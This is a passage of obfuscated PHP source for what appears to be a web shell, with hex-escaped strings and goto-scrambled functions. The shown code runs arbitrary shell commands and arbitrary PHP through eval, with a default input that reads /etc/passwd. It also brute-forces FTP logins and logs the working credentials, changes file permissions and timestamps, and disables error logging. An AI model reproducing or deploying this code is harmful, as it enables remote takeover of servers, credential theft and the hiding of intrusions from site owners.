(@preg_match($reg, $f, $m)) { $val = $m[3]; unset($m); } } unset($f); return $val; } goto XTFbc; U1DX9: function z0p($i, $t, $h, $a) { $r = z10e(z7i(z6x("\x3c\146\x6f\162\155\x20\155\x65\x74\x68\157\144\x3d\42\x50\117\x53\x54\x22\x20\141\143\164\151\157\x6e\x3d\42\x3f\42\x20\157\x6e\163\x75\142\155\x69\164\x3d\x22\x72\145\164\165\162\x6e\40\x63\150\x6b\x66\162\155\50\x27" . $i . "\47\x2c\x27" . $t . "\47\51\73\x22\x3e" . "\x3c\151\x6e\160\165\164\40\164\x79\160\145\75\42\150\151\x64\144\x65\x6e\x22\x20\156\141\155\x65\x3d\42" . $t . "\x22\40\151\x64\75\42" . $t . "\x22\76" . $h . z8m(z9s("\66\63"), "\x63\x68\x6b\x61\154\154\x28\x27" . $i . "\47\54\164\x72\x75\x65\51\x3b", "\67") . z8m(z9s("\66\x34"), "\143\x68\153\141\154\154\x28\x27" . $i . "\47\54\146\x61\x6c\x73\x65\x29\73", "\x37") . z8m(z9s("\x36\x35"), "\151\x6e\x76\141\154\154\50\x27" . $i . "\x27\51\x3b", "\67") . z4a("\x61\143\x74\x69\x6f\x6e", $a, "\64") . z8v(z9s("\67\x37"), "\x37") . "\74\57\146\x6f\x72\155\x3e", "\61\61")), "\x32"); return "\74\x73\x63\x72\x69\x70\x74\40\x74\x79\x70\x65\x3d\x22\x74\145\x78\164\x2f\152\x61\x76\141\163\143\x72\151\160\x74\42\76\144\157\143\x75\155\145\x6e\x74\x2e\167\162\x69\x74\145\x28\x27" . @str_replace("\x27", "\134\x27", @str_replace("\12", '', $r)) . "\x27\x29\73\74\57\163\143\162\x69\160\164\x3e"; } goto wdOGZ; c6sfM: function z2t($host, $port, $time, $try1, $try2, $try3, $try4, $user, $pass = NULL) { $count = 0; $success = 0; $res = 0; $log = ''; if ($pass != NULL) { $count++; $res = z3h($host, $user, $pass, $port, $time); if ($res == "\146\141\x69\154\x65\x64") { echo "\103\x61\156\47\x74\40\x63\x6f\x6e\x6e\x65\143\164\40\164\x6f\x20{$host}\x3a{$port}\15\xa"; return false; } if ($res == "\166\141\154\x69\144") { echo "\133\53\135\x20{$user}\x3a{$pass}\40\55\x20\163\x75\x63\x63\145\163\x73\xd\12"; $log .= "\146\164\160\x3a\57\x2f{$host}\72{$port}\40\x2d\40{$user}\x20{$pass}\xd\12"; $success++; } if ($res != "\x76\x61\154\x69\144" && $try4 == "\61") { $count++; $res = z3h($host, $user, z9i($pass), $port, $time); if ($res == "\166\141\x6c\151\144") { echo "\133\53\x5d\40{$user}\72" . z9i($pass) . "\x20\55\40\x73\x75\143\x63\x65\163\x73\15\xa"; $log .= "\146\x74\x70\72\57\x2f{$host}\x3a{$port}\x20\x2d\x20{$user}\x20" . z9i($pass) . "\xd\xa"; $success++; } } } else { $count++; $res = z3h($host, $user, $user, $port, $time); if ($res == "\146\141\151\x6c\145\144") { echo "\x43\141\x6e\x27\164\x20\x63\x6f\156\156\145\143\x74\40\x74\157\40{$host}\x3a{$port}\15\xa"; return false; } if ($res == "\166\x61\154\151\144") { echo "\133\53\x5d\x20{$user}\72{$user}\x20\55\x20\x73\x75\x63\x63\x65\x73\163\xd\12"; $log .= "\x66\164\x70\72\57\57{$host}\x3a{$port}\40\x2d\40{$user}\x20{$user}\xd\xa"; $success++; } if ($res != "\166\x61\154\151\144" && $try1 == "\61") { $count++; $res = z3h($host, $user, @strrev($user), $port, $time); if ($res == "\x76\x61\x6c\151\x64") { echo "\x5b\53\135\x20{$user}\72" . @strrev($user) . "\40\55\40\x73\165\x63\x63\145\x73\163\15\12"; $log .= "\x66\164\x70\x3a\x2f\x2f{$host}\x3a{$port}\40\x2d\40{$user}\40" . @strrev($user) . "\15\12"; $success++; } } if ($res != "\166\141\154\151\x64" && $try2 == "\x31") { $count++; $res = z3h($host, $user, $user . "\61", $port, $time); if ($res == "\166\x61\154\x69\144") { echo "\133\53\x5d\x20{$user}\72" . $user . "\61\40\x2d\x20\163\x75\x63\143\145\x73\x73\xd\12"; $log .= "\146\x74\160\72\x2f\57{$host}\x3a{$port}\40\55\x20{$user}\x20" . $user . "\61\xd\12"; $success++; } } if ($res != "\x76\141\x6c\151\144" && $try3 == "\61") { $count++; $res = z3h($host, $user, $user . "\61\x32\63", $port, $time); if ($res == "\x76\141\x6c\x69\144") { echo "\x5b\53\135\x20{$user}\72" . $user . "\61\62\x33\40\55\40\163\x75\143\143\x65\x73\163\15\xa"; $log .= "\x66\164\x70\x3a\x2f\x2f{$host}\x3a{$port}\40\55\x20{$user}\x20" . $user . "\61\x32\63\xd\12"; $success++; } } if ($res != "\x76\141\154\151\x64" && $try4 == "\61") { $count++; $res = z3h($host, $user, z9i($user), $port, $time); if ($res == "\x76\141\154\151\144") { echo "\x5b\x2b\x5d\x20{$user}\72" . z9i($user) . "\x20\x2d\x20\x73\x75\x63\143\x65\163\x73\15\xa"; $log .= "\x66\x74\x70\x3a\x2f\x2f{$host}\x3a{$port}\40\55\40{$user}\40" . z9i($user) . "\xd\12"; $success++; } } } return array($count, $success, $log); } goto J2IJ5; PsY5v: function z5j() { return "\x3c\57\144\151\x76\x3e"; } goto BE1bq; r8WLV: if (@preg_match("\x2f\136\x77\151\156\57\x69", $os)) { $win = 1; } else { $nix = 1; if (@preg_match("\57\x6c\x69\156\x75\x78\x2f\x69", $os)) { $linux = 1; } } goto EXz0m; hAWDH: function init_buffer() { if (!@isset($_SESSION["\142\x75\x66\146\145\162"])) { $_SESSION["\142\x75\146\146\x65\x72"] = array(); } } goto JqvWJ; XTFbc: function z2p($var, $f) { $val = ''; if (!empty($f)) { $reg = "\57\x5c\133\50\x5b\x27\42\135\173\x31\x7d\51" . $var . "\x5c\x31\134\135\x5b\x5c\163\134\164\134\162\134\x6e\x5d\x2a\75\133\x5c\163\x5c\x74\x5c\x72\134\x6e\135\x2a\50\x5b\47\x22\x5d\173\61\175\x29\50\x5b\136\134\62\134\163\x5c\x74\134\162\x5c\156\135\x2b\x29\134\x32\57"; if (@preg_match($reg, $f, $m)) { $val = $m[3]; unset($m); } } unset($f); return $val; } goto llJlu; RYSgm: function z4v($i) { return @chunk_split(@base64_encode($i)); } goto Q9cE6; TTbNW: function z9q($i, $a, $c = '') { return z1f("\x73\x75\142\155\151\164", $i, $a, $c); } goto qnFk5; Oygv4: function z4m($c, $i) { $a = array("\60" => array("\x63\157\156\x74\x61\x69\x6e\x65\x72", "\154\x6f\147\151\x6e", "\x66\157\x6f\164\145\x72", "\x68\x65\x61\x64\x6e\146\157", "\x71\154", "\x6e\141\x76", "\163\x69\x6e\146\157", "\164\x66\151\x6c\x74\x65\162", "\164\141\x68\x65\x78", "\x70\150\x70\x69\156\146\x6f"), "\x31" => array("\154\x69\x73\164\x31", "\154\x69\x73\x74\62"), "\x32" => array("\x6c\x65\162\x72\157\162", "\164\157\x70\x63\x66", "\x74\x6f\160\x74", "\164\x6f\x70\143", "\164\x64\x66\157\157\164\145\x72", "\164\144\x71\x6c", "\x74\144\x73\151\x6e\x66\x6f", "\164\x64\154\x73\x68\x31", "\164\x64\x6c\163\x68\62", "\x74\x64\154\x73\x66", "\164\144\154\x73\146\x6e", "\x74\144\x66\151\154\x74\145\x72", "\x74\x64\x68\x65\141\x64", "\164\144\x70\150", "\164\144\x70\154", "\x74\x64\x6c\x62\154", "\x74\x68\145\x78\61", "\164\x68\x65\170\62", "\164\150\x65\170\x33", "\164\144\154\x73\146\x31", "\164\144\155\x61\151\x6c"), "\63" => array("\163\143\x72\x6f\154\x6c", "\163\x65\x6c\145\x63\x74\157\162", "\144\x69\166\x6c\x73", "\144\x77\x69\x64\x74\150", "\x62\141\162\142\147", "\x62\141\x72\x66\151\x6c"), "\64" => array("\163\x69\172\x65\x31", "\x73\151\x7a\x65\x32", "\163\x69\x7a\145\x33", "\x73\151\x7a\145\64", "\163\151\172\145\x35", "\x73\x69\x7a\145\x36", "\x73\x69\x7a\145\x37", "\x73\x69\x7a\145\70", "\x73\151\x7a\145\x39", "\x73\151\x7a\145\61\x30"), "\65" => array("\154\151\156\x6b\163", "\x73\154\151\x6e\x6b\x73", "\x62\x75\x74\x74\157\156", "\150\145\x61\x64", "\x71\x6c\61", "\x71\154\x32", "\142\x75\x74\x31", "\x62\x75\x74\62", "\x62\165\164\x33", "\x66\151\x6d\147", "\144\151\x72\154\x69\163\164", "\x66\x69\154\x65\154\151\163\x74", "\146\164\x61\x63\164\x69\166\x65", "\x66\164\x63\157\x6d\160\141\164", "\146\164\x6f\x74\x68\x65\x72", "\161\154\142\141\x63\153", "\155\x62\x75\164\61", "\155\x62\165\164\62", "\x61\x63\164\x62\x75\x74"), "\66" => array("\143\157\156\163\x6f\x6c\x65", "\x74\x67\145\x6e\x65\x72\151\x63", "\164\x65\x64\x69\164", "\x74\x78\x6d\141\x69\154", "\x74\163\161\154\x31", "\x74\163\161\x6c\x32", "\164\151\156\152")); return @isset($a[$i][$c]) ? $a[$i][$c] : ''; } goto ztzx9; XaI0s: function z4o($p) { return @dechex(@bindec($p)); } goto qbOwf; ORtPB: function z4l($n, $c = '', $s = '') { return z4c("\162\151\x67\150\164", $n, $c, $s); } goto x5sXC; Z5JLV: function z8g($n, $v = NULL) { global ${$n}; return $v == NULL ? @isset(${$n}) && !@empty(${$n}) ? ${$n} : '' : z8x($v); } goto cvY6y; SO6vO: function z8d($o) { $o = z1i($o); if (@z4j($o)) { return z8s($o); } elseif (z4e($o)) { return @unlink($o); } else { return false; } } goto nIWfz; JGVDO: function z4q($t) { if (z4e($t) || z4j($t) || z3j($t) || z0n($t) || z0v($t) || z5o($t)) { return 1; } return 0; } goto zdLYu; ecxV4: function z5i($t) { return z6y($t, "\x72\167"); } goto g2v73; Fgj6F: $a_buf = array("\142\143\157\x70\171", "\x62\x63\165\164"); goto Ajw35; M_Jow: function z7i($i, $c = '', $id = '') { return z7y($i, "\155\x69\144\x64\x6c\x65", $c, $id); } goto lvMQe; zC5QJ: function z9t($c, $h = 1) { $r = ''; if (!empty($c)) { if (z7r("\163\x68\145\x6c\154\137\x65\170\145\143")) { $r = @shell_exec($c); } elseif (z7r("\x73\x79\x73\164\x65\x6d")) { @ob_start(); @system($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif (z7r("\160\x61\x73\x73\164\x68\x72\165")) { @ob_start(); @passthru($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif (z7r("\145\170\145\143")) { @exec($c, $r); $r = @join("\12", $r); } elseif (z7r("\x70\x6f\x70\145\x6e") && @is_resource($f = @popen($c, "\x72"))) { if (z7r("\x66\162\x65\x61\144") && z7r("\x66\x65\x6f\x66")) { while (!@feof($f)) { $r .= @fread($f, 1024); } } elseif (z7r("\146\147\x65\164\163") && z7r("\x66\x65\x6f\x66")) { while (!@feof($f)) { $r .= @fgets($f, 1024); } } @pclose($f); } elseif (z7r("\x70\x72\x6f\x63\137\x6f\160\145\156") && @is_resource($f = @proc_open($c, array(1 => array("\160\x69\x70\x65", "\x77")), $p))) { if (z7r("\x66\x72\145\x61\x64") && z7r("\146\x65\x6f\x66")) { while (!@feof($p[1])) { $r .= @fread($p[1], 1024); } } elseif (z7r("\x66\147\x65\164\x73") && z7r("\146\x65\x6f\x66")) { while (!@feof($p[1])) { $r .= @fgets($p[1], 1024); } } @proc_close($f); } } else { $r = z6v($c); } return $h ? @htmlspecialchars($r) : $r; } goto qpEVy; ClY3w: function z1j($n, $a = array(), $c = '', $g = '', $t = "\x31", $s = '') { $r = "\74\x73\145\x6c\145\x63\164\x20\x6e\141\x6d\x65\x3d\42" . $n . "\x22" . ($c != '' ? "\40\x63\x6c\141\163\x73\75\42" . z4m($c, "\64") . "\42" : '') . ($s != '' ? @is_numeric($s) ? "\x20" . z10t($s) : "\40" . $s : '') . "\x3e" . "\xa"; if ($g != '') { global ${$n}; } foreach ($a as $k => $v) { $r .= "\x3c\157\160\164\x69\157\156\x20\x76\x61\154\x75\x65\75\42" . ($t == "\61" ? $k : $v) . "\42" . ($g != '' && ($t == "\61" ? $k : $v) == ${$n} ? "\40\163\x65\x6c\x65\x63\164\145\144" : '') . "\x3e" . ($t == "\61" ? $v : $k) . "\74\x2f\x6f\x70\164\x69\157\x6e\x3e" . "\12"; } $r .= "\74\x2f\163\x65\154\145\143\164\76"; return $r; } goto jf7pw; gKcxD: function z8y($s, $d = "\x2c", $e = "\x22", $esc = "\x5c") { $n = 0; $r = array(); $ed = "\x25\x23\x25\43\45\105\x25\x53\x25\x43\x25\101\x25\x50\45\105\45\104\45\43\45\x23\x25"; $s = @str_replace($esc . $e, $ed, $s); $s = @preg_replace("\57" . $e . "\x28\133\x5e" . $e . "\x5d\x2b\x29" . $e . "\50\134\163\x7c\134\164\x29\x2b" . $d . "\57", $e . "\134\x31" . $e . $d, $s); $s = @preg_replace("\x2f" . $e . "\x28\133\136" . $e . "\135\53\x29" . $e . $d . "\x28\134\163\174\x5c\x74\x29\x2b\57", $e . "\134\61" . $e . $d, $s); if (@strstr($s, $e)) { $a = @explode($e, $s); foreach ($a as $i) { if ($n++ % 2) { @array_push($r, @str_replace($ed, $e, @array_pop($r) . $i)); } else { $b = @explode($d, $i); @array_push($r, @str_replace($ed, $e, @array_pop($r) . @array_shift($b))); $r = @array_merge($r, $b); } } } return $r; } goto DKbqu; KsW3a: function z1n() { $distros = array("\123\x55\x53\105\x20\114\111\116\x55\130" => "\123\165\x53\105\55\162\x65\154\145\x61\x73\x65\73\x55\156\x69\164\x65\144\x4c\151\156\x75\x78\55\x72\x65\154\x65\x61\x73\145", "\115\x61\x6e\144\x72\141\x6b\x65" => "\155\x61\x6e\144\162\141\x6b\145\x2d\x72\x65\x6c\x65\141\x73\145", "\x4d\141\x6e\x64\162\151\166\x61\x4c\151\156\x75\170" => "\x6d\x61\x6e\x64\x72\x61\x6b\145\x2d\162\x65\x6c\145\x61\163\145", "\107\145\156\x74\157\157" => "\x67\x65\156\164\x6f\157\55\162\145\x6c\145\x61\163\x65", "\x46\x65\x64\x6f\x72\x61" => "\x66\145\144\157\162\141\55\162\145\154\x65\141\x73\145", "\x52\x65\x64\110\141\x74" => "\x72\145\x64\150\141\x74\55\162\145\154\145\141\163\x65\73\162\x65\144\x68\x61\164\x5f\166\145\162\x73\151\157\156", "\123\154\141\x63\153\x77\141\162\x65" => "\163\x6c\x61\x63\153\x77\141\x72\145\x2d\x72\x65\x6c\145\141\163\145\x3b\x73\x6c\x61\143\153\x77\141\162\x65\x2d\x76\145\x72\x73\151\157\x6e", "\x54\x72\x75\x73\x74\151\x78" => "\x74\162\165\163\164\151\170\x2d\x72\145\x6c\145\141\163\x65\73\164\162\165\x73\164\151\170\55\166\145\162\x73\x69\157\x6e", "\x46\162\145\x65\x45\x4f\x53" => "\x65\157\163\x2d\166\x65\162\163\x69\x6f\156", "\x41\x72\143\x68" => "\141\162\x63\x68\55\162\x65\154\145\x61\163\x65", "\103\x6f\x62\141\x6c\x74" => "\x63\157\142\x61\x6c\x74\55\162\145\154\x65\141\x73\x65", "\114\x69\156\x75\x78\106\162\157\x6d\123\143\x72\x61\164\143\150" => "\x6c\146\163\55\162\145\154\145\141\x73\145", "\x52\165\142\x69\170" => "\x72\x75\142\x69\x78\55\x76\145\x72\x73\x69\157\x6e", "\x55\x62\165\x6e\x74\x75" => "\154\x73\142\55\x72\x65\154\145\x61\x73\x65", "\120\x4c\x44" => "\160\154\144\x2d\162\145\154\x65\x61\x73\x65", "\103\145\x6e\164\117\x53" => "\x72\145\x64\x68\141\164\55\x72\x65\154\145\141\x73\145\x3b\x72\x65\144\x68\x61\x74\137\166\145\x72\x73\151\x6f\156", "\114\x46\x53" => "\154\x66\163\x2d\x72\x65\x6c\x65\x61\163\x65\x3b\x6c\x66\x73\137\x76\x65\x72\163\151\157\x6e", "\x48\x4c\x46\123" => "\x68\154\146\163\55\x72\145\x6c\x65\x61\163\145\x3b\150\154\146\x73\x5f\x76\145\162\163\151\157\156", "\104\x65\142\151\141\156" => "\144\145\x62\151\x61\x6e\137\x72\x65\x6c\x65\x61\x73\145\73\144\145\x62\x69\x61\x6e\x5f\166\145\162\x73\151\x6f\156"); foreach ($distros as $k => $v) { $fs = @explode("\73", $v); foreach ($fs as $f) { if (z4q("\57\145\164\x63\57" . $f)) { $t = @str_replace("\xa", '', z9p("\57\x65\x74\x63\57" . $f)); $t = @trim($t); if (@preg_match("\x2f\x64\145\x73\143\x72\x69\160\x74\151\x6f\x6e\x3d\42\50\x2e\x2a\51\42\x2f\151", $t, $m)) { return $m[1]; } else { return $k . "\x20\x28{$t}\51"; } } } } return "\125\156\x6b\156\x6f\167\156"; } goto jvQyF; CIS6G: @ob_start(); goto Lp0NC; s1PZu: $os = z9a(); goto r8WLV; jt1nc: function z5h($f) { $c = array("\162\145\x64", "\167\150\151\164\145", "\147\162\145\145\156"); return $c[z7n($f)]; } goto jfG3k; pMdd7: function z3p($t, $s = "\57") { $e = z1k($t, $s); return @count($e) == 2 ? $e[0] : "\x2e\57"; } goto vEqp2; ALAtQ: function z7j($i, $c = '', $s = '') { return z7t($c, $s) . $i . z10w(); } goto SpGmY; eSuMv: if ($act == "\160\x68\160\x69\x6e\146\x6f") { $piarr = z0b(1); $h = 0; foreach ($piarr as $k => $v) { echo z2b(@strtoupper($k)); echo z9m("\x32"); $i = 0; foreach ($v as $a => $b) { if (@is_string($b)) { echo z9f(z9j($a, "\x31\64", "\62\65") . z9j($b, "\x31\x34"), $i % 2 ? "\x30" : "\61"); $i++; } } $h++; echo z10w(); } } goto CLwkm; a1VLh: function z8n($i, $a = '', $c = '', $e = '') { global $use_images; return $use_images ? "\x3c\x69\x6e\x70\165\164\x20\164\171\160\145\75\42\151\x6d\141\147\145\x22\x20\163\162\143\75\42\77\141\143\164\75\x69\x26\x61\x6d\160\73\151\x6d\x67\75" . $i . ($e != '' ? "\46\x61\155\160\x3b\x65\170\x65\75\61" : '') . "\x22\40\x76\141\x6c\x75\145\x3d\x22" . $a . "\x22\40\141\x6c\164\x3d\42" . $a . "\42" . ($c != '' ? "\40\x63\x6c\141\163\x73\x3d\42" . z4m($c, "\65") . "\x22" : '') . "\76" : z1s($i == "\x73\155\x61\x6c\154\137\x64\x69\x72" || $i == "\163\x6d\141\154\x6c\x5f\x68\157\155\145" ? "\144" : "\146"); } goto kB3kd; HA2LV: function z1r($a, $s = "\40\141\x6e\x64", $f = array()) { if (!@is_array($a)) { $a = array(); } $r = ''; foreach ($a as $k => $v) { $p = ''; if (!@empty($f[$k])) { $p .= $f[$k] . "\x28"; } $p .= "\47" . addslashes($v) . "\x27"; if (!@empty($f[$k])) { $p .= "\x29"; } $r .= "\140" . $k . "\140\40\x3d\40" . $p . $s; } $r = @substr($r, 0, @strlen($r) - @strlen($s)); return $r; } goto ychWN; hTpc_: function z5n() { return z9f(z9j("\46\x6e\x62\x73\160\73")); } goto pKtaA; Ix9f2: function z0f($k) { $cleanp = z0c(); if ($cleanp != z3d($k)) { $_SESSION[$k][] = $cleanp; } } goto cfg0g; pKtaA: function z6d() { return z10e(z5n()); } goto fkfMc; LBfQ1: function z2b($a, $s = '') { $r = ''; if (@is_array($a)) { for ($i = 0; $i < @count($a); $i++) { $r .= z7l($a[$i], "\61\x32", $i == 0 ? "\62" . $s : ($i == @count($a) - 1 ? "\x33" . $s : $s)); } } else { $r = z7l($a, "\x31\62", "\62\63" . $s); } return z10e(z7i($r), "\63"); } goto XKrm6; eZm70: function z8z($t) { return z6y($t, "\x6e\x72"); } goto ecxV4; FIQzC: function z0j($a, $d) { $z = new ZipArchive(); if ($z->open($a) === TRUE) { $z->extractTo($d); $z->close(); return TRUE; } else { return FALSE; } } goto d9LCS; S6J5Y: function z7k($c = '', $s = '') { return z5l('', $c, $s); } goto be60l; ezABl: function z6j() { $i = @ini_get("\144\x69\163\141\142\154\x65\x5f\x66\165\156\x63\x74\151\157\x6e\163"); if ($i != '') { $f = @array_map("\x74\x72\x69\x6d", @explode("\x2c", $i)); @sort($f); return $f; } else { return array(); } } goto Llr2C; rmdaf: function z5u($n, $v, $c = '', $o = '', $s = '') { global ${$n}; return "\74\151\156\160\x75\x74\40\164\171\160\x65\75\42\x74\145\170\164\42\40\x6e\141\x6d\x65\x3d\x22" . $n . "\x22\40\166\141\x6c\165\145\75\42" . (@isset(${$n}) && !@empty(${$n}) ? ${$n} : (@isset($_SESSION[$n]) ? $_SESSION[$n] : z8x($v))) . "\42" . ($c != '' ? "\x20\x63\x6c\x61\x73\x73\75\x22" . z4m($c, "\x34") . "\x22" : '') . ($s != '' ? "\40" . (@is_numeric($s) ? z10t($s) : $s) : '') . ($o != '' ? z9k() : '') . "\76"; } goto u69Ta; mebEJ: function z0o($k) { if (!@isset($_SESSION[$k]) || !@is_array($_SESSION[$k])) { z0u($k); $_SESSION[$k] = array(); $_SESSION[$k][] = array("\141\143\164" => z7x("\62", "\x64\145\146\x61\x75\154\x74\137\141\143\x74")); } } goto shOzY; f5K4K: function z6e($f, $t) { return "\74\154\141\142\145\154\x20\146\157\162\75\x22" . $f . "\x22\76" . $t . "\x3c\x2f\154\x61\x62\145\x6c\76"; } goto nwK3r; BgZlS: function z9f($i, $c = '', $id = '') { return z7y($i, "\x74\157\x70", $c, $id); } goto M_Jow; oupQq: $bmail = z7r("\155\x61\151\x6c"); goto fB9Lq; Hz31L: function z0g($c, $s, $t) { return "\74\151\156\x70\165\164\40\x74\x79\x70\x65\x3d\42\x73\x75\142\155\151\164\42\x20\x74\151\164\154\145\75\x22" . $t . "\42\40\x76\x61\x6c\165\x65\x3d\x22\x26\156\142\x73\x70\x3b\42\x20\x73\x74\x79\x6c\145\75\x22\x62\x6f\162\144\x65\x72\72\x31\160\x78\40\163\157\154\151\x64\40" . z9w("\164\157\160\x62\157\162\144\x65\x72\61") . "\x3b\40\x62\141\x63\153\147\x72\x6f\x75\x6e\x64\72\40" . $c . "\x3b\40\40\167\x69\144\164\150\x3a\x20" . $s . "\160\x78\x3b\x20\x68\x65\x69\147\x68\164\72\40" . $s . "\160\x78\73\40\x76\x65\x72\164\151\x63\141\x6c\55\141\x6c\x69\147\x6e\x3a\40\155\151\x64\x64\x6c\x65\x3b\40\x76\145\162\x74\151\x63\x61\154\55\x61\154\x69\147\x6e\x3a\40\x69\x6e\x68\145\x72\x69\x74\40\x21\151\155\x70\157\162\164\x61\x6e\164\x3b\x20\x63\x75\x72\x73\x6f\162\72\x20\x70\x6f\151\156\x74\x65\162\73\42\76"; } goto O7cyY; SvJId: if (@isset($chmod_submit) && $chmod_submit && @isset($ctarget)) { if (@isset($chmod_val)) { @chmod($ctarget, @octdec($chmod_val)); } else { $octet = "\x30" . @base_convert(($chmod_o["\x72"] ? "\61" : "\60") . ($chmod_o["\167"] ? "\x31" : "\x30") . ($chmod_o["\170"] ? "\x31" : "\x30") . ($chmod_g["\x72"] ? "\61" : "\x30") . ($chmod_g["\167"] ? "\x31" : "\60") . ($chmod_g["\170"] ? "\61" : "\60") . ($chmod_w["\x72"] ? "\x31" : "\60") . ($chmod_w["\167"] ? "\x31" : "\60") . ($chmod_w["\170"] ? "\x31" : "\x30"), 2, 8); @chmod($ctarget, @octdec($octet)); } if (z7r("\x63\154\145\141\x72\x73\164\x61\x74\x63\x61\x63\x68\145")) { @clearstatcache(); } } goto RFuAp; oBO9b: function z8l($a) { $b = @strtolower(@ini_get($a)); if ($b == "\x6f\156" || $b == "\171\x65\163" || $b == "\x74\162\x75\x65") { return "\141\163\163\x65\x72\164\x2e\141\143\164\x69\x76\x65" !== $a; } elseif ($b == "\x73\x74\144\x65\x72\x72" || $b == "\163\x74\144\x6f\165\164") { return "\x64\151\163\x70\154\141\171\137\145\162\162\157\x72\x73" === $a; } else { return (bool) (int) $b; } } goto IVXf4; sjAc0: function z9b($n, $v = NULL) { global ${$n}; return "\74\151\156\x70\165\164\40\x74\x79\160\x65\75\x22\150\x69\144\x64\145\156\42\x20\x6e\x61\155\x65\75\42" . $n . "\x22\x20\x76\141\154\x75\145\x3d\42" . ($v == NULL ? @isset(${$n}) && !@empty(${$n}) ? ${$n} : '' : z8x($v)) . "\42" . "\x3e"; } goto s0k7N; sg7r_: if (@function_exists("\151\156\x69\137\x73\145\164")) { @ini_set("\144\151\163\x70\x6c\141\171\137\145\x72\162\157\x72\163", 0); @ini_set("\x65\162\162\x6f\x72\137\x6c\x6f\x67", NULL); @ini_set("\154\x6f\147\137\x65\x72\x72\x6f\162\x73", 0); @ini_set("\x66\151\154\145\137\x75\x70\x6c\157\141\x64\163", 1); @ini_set("\x61\x73\x73\x65\x72\164\x2e\x71\x75\x69\145\x74\x5f\x65\166\x61\x6c", 0); @ini_set("\x61\x6c\x6c\157\x77\137\165\x72\154\137\146\157\x70\x65\x6e", 1); @ini_set("\155\145\x6d\157\x72\x79\x5f\154\x69\155\151\x74", "\62\x35\x36\x4d"); @ini_set("\165\160\154\x6f\x61\144\137\155\141\170\x5f\x66\x69\154\145\163\151\172\145", "\x32\65\x36\115"); @ini_set("\162\x65\147\x69\163\164\145\x72\137\147\x6c\x6f\142\x61\154\x73", 0); @ini_set("\x6d\x61\147\151\x63\137\x71\165\157\x74\x65\163\137\x73\x79\x62\x61\163\145", 0); @ini_set("\x6d\x61\x67\151\143\x5f\x71\x75\x6f\164\145\x73\137\162\x75\156\x74\151\155\145", 0); @ini_set("\x6d\141\147\151\x63\x5f\x71\165\x6f\164\145\163\x5f\x67\x70\x63", 0); @ini_set("\157\160\145\x6e\x5f\x62\141\x73\x65\x64\x69\x72", NULL); } elseif (function_exists("\x69\156\151\x5f\x61\154\164\x65\162")) { @ini_alter("\x64\151\163\x70\154\x61\171\x5f\x65\162\x72\157\162\x73", 0); @ini_alter("\x65\x72\x72\157\162\137\x6c\x6f\147", NULL); @ini_alter("\154\x6f\147\137\145\162\162\x6f\162\163", 0); @ini_alter("\x66\151\154\x65\137\x75\160\154\x6f\x61\x64\163", 1); @ini_alter("\x61\154\154\x6f\x77\137\x75\x72\x6c\x5f\146\x6f\x70\145\156", 1); @ini_alter("\155\x65\x6d\x6f\162\171\137\154\x69\x6d\151\164", "\62\x35\x36\x4d"); @ini_alter("\x75\160\154\157\x61\144\x5f\155\x61\x78\137\x66\151\x6c\145\163\151\x7a\145", "\62\65\66\115"); @ini_alter("\162\x65\147\x69\x73\164\145\162\x5f\147\x6c\157\142\141\x6c\163", 0); @ini_alter("\155\141\x67\151\x63\137\x71\165\157\164\x65\x73\137\x73\x79\x62\141\163\145", 0); @ini_alter("\x6d\141\x67\x69\143\x5f\161\x75\157\x74\x65\163\137\162\165\156\x74\x69\x6d\145", 0); @ini_alter("\x6d\141\x67\151\x63\x5f\x71\165\x6f\x74\145\163\137\x67\160\143", 0); @ini_alter("\157\x70\145\156\x5f\x62\x61\163\x65\x64\151\162", NULL); } goto kNdTQ; U528d: function z9s($k, $w = '', $u = 0) { global $lang; $l = z7x(2, "\154\x61\156\x67\165\141\147\x65"); $r = ''; if (!isset($lang[$l][$k])) { return "\77"; } $r = $lang[$l][$k]; if ($w !== '') { if (@is_array($w)) { for ($i = 0; $i < @count($w); $i++) { if (@isset($w[$i])) { $r = @str_replace("\x5b\45" . ($i + 1) . "\x25\x5d", $w[$i], $r); } } } else { $r = @str_replace("\x5b\x25\x31\45\135", $w, $r); } } return $u ? @strtoupper($r) : $r; } goto ulfL5; ycJ39: function z8w($a, $t = '', $u = 0) { return ($u ? z7z() : z9l($t)) . z3e($a); } goto ddbED; AD_9D: if ($act == "\145\166\x61\154") { if (!@isset($evalsubmit)) { $eval_txt = 1; } elseif (!@isset($eval_txt)) { $eval_txt = 0; } echo z2b(z9s("\x31\x38\62")) . z6d(); echo z10e(z7i(z6x(z5c(array("\141\x63\164" => "\145\166\141\x6c", "\144", "\145\x76\x61\x6c\x73\165\142\x6d\x69\x74" => "\x31"), z5w("\145\166\x61\154", "\x31") . (@isset($eval) ? @htmlspecialchars($eval) : "\x2f\57\x72\145\x61\144\146\x69\154\145\x28\x22\57\145\164\x63\57\x70\141\x73\x73\x77\144\x22\x29\x3b" . "\xd\xa") . z5q() . z9x() . z5x("\154\x65\146\164", "\x33") . z8v(z9s("\61\x38\x33"), "\x37", "\71") . z5y("\145\x76\x61\154\x5f\x74\x78\164", z9s("\61\x38\x34"), "\145\166\141\x6c\137\164\170\164") . z5j()))) . z5n(), "\x32"); if (@isset($evalsubmit) && $evalsubmit) { $eval = @isset($eval) ? $eval : ''; if (!@empty($eval)) { $eval_result = ''; $tmp = @ob_get_contents(); $olddir = @realpath("\x2e") || @getcwd(); @chdir($d); if ($tmp) { @ob_clean(); eval($eval); $ret = @ob_get_contents(); $ret = @convert_cyr_string($ret, "\144", "\167"); @ob_clean(); echo $tmp; if ($eval_txt) { $eval_result = @htmlspecialchars($ret); } else { $eval_result = $ret; } } else { if ($eval_txt) { $eval_result = @eval($eval); } else { $eval_result = $ret; } } @chdir($olddir); } if ($eval_txt) { echo z10e(z7i(z6x(z5w('', "\x31", 1) . (@isset($eval_result) ? $eval_result : '') . z5q())) . z5n(), "\62"); } else { echo $eval_result; } } } goto Ah6IX; LRlIH: if (($act == "\x64\x66\165\156\x63" || $act == "\146") && (@isset($st1) && $st1 || @isset($st2) && $st2)) { if ($act == "\x64\x66\165\x6e\143") { $touch = $d; } else { $touch = $f; } if (@isset($st2) && $st2 && !@empty($touch) && z4q($touch) && @isset($tmonth) && !@empty($tmonth) && @isset($tday) && !@empty($tday) && @isset($tyear) && !@empty($tyear) && @isset($thour) && !@empty($thour) && @isset($tmin) && !@empty($tmin) && @isset($tsec) && !@empty($tsec)) { $sdate = $tday . "\x20" . $tmonth . "\x20" . $tyear . "\40" . $thour . 